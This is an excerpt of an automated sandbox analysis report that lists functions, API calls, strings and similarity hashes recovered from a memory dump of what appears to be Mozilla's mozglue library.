Instruction ID: 42b746fcaef7ef681e2f152e4ba091f17e468d1362adf74e0facac793d71b0db
Opcode Fuzzy Hash: f531b98ce0d66daccf6ecd9ed50588810d0490b4d6a3cbd83b874389c3e084dc
Instruction Fuzzy Hash: 1C721A75918B858BC361CF38C4513ABF7E5BFDA344F108B1DE48A6B611EB70A4C69B42

Function 6CAC4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CAC4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC4F2E
moz_xmalloc.MOZGLUE ref: 6CAC4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CAC4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAC52E6
Sleep.KERNEL32(00000010), ref: 6CAC5481
free.MOZGLUE(?), ref: 6CAC5498

Strings

(, xrefs: 6CAC5250

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 231e2f8af026b7b585e14109deaa750effb5beeb1fd86dafddc7addb37ed9145
Instruction ID: 57219d6508709e47931b5ff51021eb62125747732439582a50ae912113c579a3
Opcode Fuzzy Hash: 231e2f8af026b7b585e14109deaa750effb5beeb1fd86dafddc7addb37ed9145
Instruction Fuzzy Hash: D1F1C171A18B018FC71ACF39C85062BB7F5AFD6284F05C72EF846A7651DB319846CB91

Function 6CAC5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CAC6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CAC6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CA6EE51,?), ref: 6CAC6046
OutputDebugStringA.KERNEL32(?,6CA6EE51,?), ref: 6CAC6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAC6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAC6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAC6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CAE148E), ref: 6CAC6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CA6EE51,00000000,?), ref: 6CAC60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CAC60C4

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: f2e8b57bbac2218bac49f81e88db0a54a7a5d49dd9902121bea7cc05f7f80c82
Instruction ID: be2876851bcd715a88a0f98a88214f2674c081146c4b3753f50d0b78ff356eb7
Opcode Fuzzy Hash: f2e8b57bbac2218bac49f81e88db0a54a7a5d49dd9902121bea7cc05f7f80c82
Instruction Fuzzy Hash: 7521A671A003199FDB109F24EC0DAAA7BB8FF49218F04C528E85A97241DB75E589CFD6

Function 6CA89E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA89EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CA89F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA89F34
LeaveCriticalSection.KERNEL32(?), ref: 6CA8A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA8A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA8A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA8A8B1, 6CA8A8D4, 6CA8A8EF

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 9bc42445ca978b9769584c7f0deffb92c42b59151471e297ef87ed1ae26c1187
Instruction ID: 31bfe685943ee48bda4223107061d9ffff2b9e26d7186ca98a111a418000ae9a
Opcode Fuzzy Hash: 9bc42445ca978b9769584c7f0deffb92c42b59151471e297ef87ed1ae26c1187
Instruction Fuzzy Hash: E7725C72A167118FD718CF28C540615FBE2BF89328B29C66DE8699B7D1D375EC81CB80

Function 6CAB2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAB2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAB2C61

Part of subcall function 6CA64DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA64E5A
Part of subcall function 6CA64DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA64E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAB2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAB2E2D

Part of subcall function 6CA781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA781DE

Strings

expected a Time entry, xrefs: 6CAB2E36
ProfileBuffer parse error: %s, xrefs: 6CAB2E3B
(root), xrefs: 6CAB354F

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2f1c4f56075da9ba5a5c7c67bbe3d0cb1b046eb5c0ec10a8328eef9e16ba5c16
Instruction ID: e79ff56df94476fe482559c4d9e572bc0718432413f0a63f256e619ef3c70060
Opcode Fuzzy Hash: 2f1c4f56075da9ba5a5c7c67bbe3d0cb1b046eb5c0ec10a8328eef9e16ba5c16
Instruction Fuzzy Hash: AA91C2706087418FC724CF28C49469FB7E4BFC9358F148A1EE59AA7750DB30D989CB92

Function 6CA8C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6CA8C317
MOZ_CRASH(), xrefs: 6CA8D4BB

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: e8b02cb598c03ef5567e057ea47b94b7a4e3fc1b68aecf16e77d5d3d78098c6b
Instruction ID: a93dd036674a6e87ce8c29e800d68f2404ee737351198adee216518ad9b87bc3
Opcode Fuzzy Hash: e8b02cb598c03ef5567e057ea47b94b7a4e3fc1b68aecf16e77d5d3d78098c6b
Instruction Fuzzy Hash: 9952E630A0A3428FD724DF18C45075AB7F2FB8A718F188A1ED5D687B91D7359886CF92

Function 6CAC9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CAC9F3D
__aulldiv.LIBCMT ref: 6CAC9F77
__aullrem.LIBCMT ref: 6CAC9F8C
__aulldiv.LIBCMT ref: 6CACA023

Strings

NaN, xrefs: 6CAC9EAB
-Infinity, xrefs: 6CAC9E60, 6CAC9E7B

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: a2dc99bd711e2cc7a0a0646ba3561a82f28013f5983e194f4a5b94eaca7c9430
Instruction ID: 225706fd999feae45d95870e81eb50bb98643ea9abc8981f72611dda92190dfb
Opcode Fuzzy Hash: a2dc99bd711e2cc7a0a0646ba3561a82f28013f5983e194f4a5b94eaca7c9430
Instruction Fuzzy Hash: ACC1A171F003188BDB14CFA9C8507EEB7B6FB84318F584529D406ABB80D770AD89CB92

Function 6CA6D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6CA6DA88
9, xrefs: 6CA6DE7F
0, xrefs: 6CA6D852
8, xrefs: 6CA6DC08
-, xrefs: 6CA6D7DD
0, xrefs: 6CA6DC7F
@, xrefs: 6CA6DAF6
1, xrefs: 6CA6DBDD

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 3c0a1de4335b8cc8f1aaabed204a13fe79cebbd350c134fb39ab539a085b89e1
Instruction ID: 2790be238b2435b03a902df21217dbe05aaad9e008a11a705ce33d257434a7ea
Opcode Fuzzy Hash: 3c0a1de4335b8cc8f1aaabed204a13fe79cebbd350c134fb39ab539a085b89e1
Instruction Fuzzy Hash: B362AD7190C3858FD711CE2AC49075ABBF2AF86798F384A0DE4E54BE91C33598C5CB82

Function 6CA79F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

1, xrefs: 6CA7A824
0, xrefs: 6CA7AB22
0, xrefs: 6CA7A100
@, xrefs: 6CA7A625
9, xrefs: 6CA7A5D6
' , xrefs: 6CA7A3D8

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7c378f881a73c2426a62df35be0bd2f7c635f406c6549d83a9cbe1119909a43d
Instruction ID: 7f8c1331e1eb5daae861f34fa9553da9dcc7a7c86ff8f984d9079d1b4f8406b6
Opcode Fuzzy Hash: 7c378f881a73c2426a62df35be0bd2f7c635f406c6549d83a9cbe1119909a43d
Instruction Fuzzy Hash: 9582D239509311ABD7208F19C05436EB7F3FB81718F59A92AE89547A90D335DCC6CBA2

Function 6CA6BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA6C1CB
__aulldiv.LIBCMT ref: 6CA6C24C
__aulldiv.LIBCMT ref: 6CA6C348
__aullrem.LIBCMT ref: 6CA6C365
__aulldiv.LIBCMT ref: 6CA6C37D

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: e24d6ae9607dc559747a285fbffcb3cb526988edfc1058101d172a05922ec7d7
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: D4324632B046118FCB18DE2DC890A56BBE6AFC9314F09867DE899CB795D734ED05CB90

Function 6CAD545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAD8A4B

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 7ee7b19095ce1d61eac348648767e0f92e2ad4cf076459f1148055f700168281
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 9FB1D772E0021A8FDB14CF68CD917E9B7B2EF85314F1902A9D549EB791D730A9C9CB90

Function 6CAD542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CAD88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAD925C

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 39d725618a29b8d766079ff33708fc788d7de055ab6a7a627af3b605c36754e9
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 25B1B472E0520A8FDB14CF68CD916EDB7B2EF85314F190269C949EB785D730A9C9CB90

Function 6CAD50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAD8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAD925C

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 596bcb3207c7581a5180624e5adeffc8ad3116c17efaf8438a4a95e38608d4b3
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 2AA1D672A002168FCB14CE68CC907D9B7B6EF85314F1902B9C949EB785D730E9D9CB90

Function 6CAB77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAB7A93

Part of subcall function 6CA85C50: GetTickCount64.KERNEL32 ref: 6CA85D40
Part of subcall function 6CA85C50: EnterCriticalSection.KERNEL32(6CAEF688), ref: 6CA85D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAB7AA1

Part of subcall function 6CA85C50: __aulldiv.LIBCMT ref: 6CA85DB4
Part of subcall function 6CA85C50: LeaveCriticalSection.KERNEL32(6CAEF688), ref: 6CA85DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6CAB7B31

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 2e01ee796b8230181737ce37a80791b12e4ad10af1b9346b09844c0dd438f5a4
Instruction ID: 83e76e5a36edbe2d85b4736995897b99bb3336efa4195b49365151bc96ecfed4
Opcode Fuzzy Hash: 2e01ee796b8230181737ce37a80791b12e4ad10af1b9346b09844c0dd438f5a4
Instruction Fuzzy Hash: 65B1D2316083848BCB14CF24C55065FB7E6BFC5318F194A1CE996B7790DBB0E98ACB92

Function 6CAA6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CAA6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAA6E1E

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 5b42be787bc72fb4078ad95c34dde71e755d2b33aaefda3bb91d5916a8a25cd0
Instruction ID: b9079c22ae82605b00634fa102e051d23825288b28c4a4ccd11ca78b71f135b4
Opcode Fuzzy Hash: 5b42be787bc72fb4078ad95c34dde71e755d2b33aaefda3bb91d5916a8a25cd0
Instruction Fuzzy Hash: 84A17D746183818FC714CF28C5947AEFBF2BF88308F44891DE48A97751DB70A889CB92

Function 6CACB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6CACB720
RtlNtStatusToDosError.NTDLL ref: 6CACB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6CA9FE3F,00000000,00000000,?,?,00000000,?,6CA9FE3F), ref: 6CACB760

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 3cb8a8c77a7c6fc719ad21937578760ef1b0ee9630b15c1102450c88fbbe66e7
Instruction ID: 097caeed0be8314e08136a62aca5f6deeed3ed9d3c69c859561dc39656dd0a67
Opcode Fuzzy Hash: 3cb8a8c77a7c6fc719ad21937578760ef1b0ee9630b15c1102450c88fbbe66e7
Instruction Fuzzy Hash: 17F022B0A0120DAEEF009AA0DC84BEF73BC9B0831DF505229E911615C0CB79A5DCCF62

Function 6CA84640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CA84777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA85585, 6CA855A8, 6CA855C3, 6CA85624

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 940c2ee1186ad47a085ba755c334c442611456fa13234a5e9296950bb4588aae
Instruction ID: e786bb5e4f5dbcb85bf84797bb3618a3d7d416918d35a18e73694cfdb9e02cc0
Opcode Fuzzy Hash: 940c2ee1186ad47a085ba755c334c442611456fa13234a5e9296950bb4588aae
Instruction Fuzzy Hash: 89B25D71A066018FD718CF19C590715BBE2BFC5324F2DC7ADE86A8B6A5D771E881CB80

Function 6CAC85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAC8C7C
__aulldiv.LIBCMT ref: 6CAC8DD7

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 349e5746d53b24e669e76f139683a6503325ae0bd6db98765a70ee3fda99bb82
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 5F326E71F011198BDF18CE9DC8A17EEB7B2FB88700F15853AD506BB790DA349D858B92

Function 6CACB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CA703D4,?), ref: 6CACB955
NtQueryVirtualMemory.NTDLL ref: 6CACB9A5

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

